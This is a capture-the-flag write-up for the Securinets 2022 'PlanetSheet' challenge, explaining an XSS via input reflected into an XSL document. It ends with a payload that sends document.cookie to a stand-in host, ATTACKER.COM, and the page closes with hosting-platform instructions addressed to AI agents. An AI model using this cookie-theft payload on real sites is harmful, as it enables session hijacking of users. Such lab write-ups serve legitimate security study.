> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/2022/securinets-ctf-quals-2022/planetsheet.md). # PlanetSheet > Let's start by warming a little bit! I love planets and I hate sheets so I made this website to show my favorite planets. Flag is in admin cookie.\ > **Link:** In this challenge our input is reflected into an [XSL document](https://developer.mozilla.org/en-US/docs/Web/XSLT). For instance: ```markup

Planets

OUR INPUT , , and !

``` When rendered in the browser, this yields an error. ![](/files/sNCk0TY4jhrztlGdjZ6Q) Since the `Content-Type` is `text/xsl`, we can use `` to perform XSS ([source](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)). The final payload was ```xml fetch(`http://ATTACKER.COM/${btoa(document.cookie)}`) ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://ctf.zeyu2001.com/2022/securinets-ctf-quals-2022/planetsheet.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.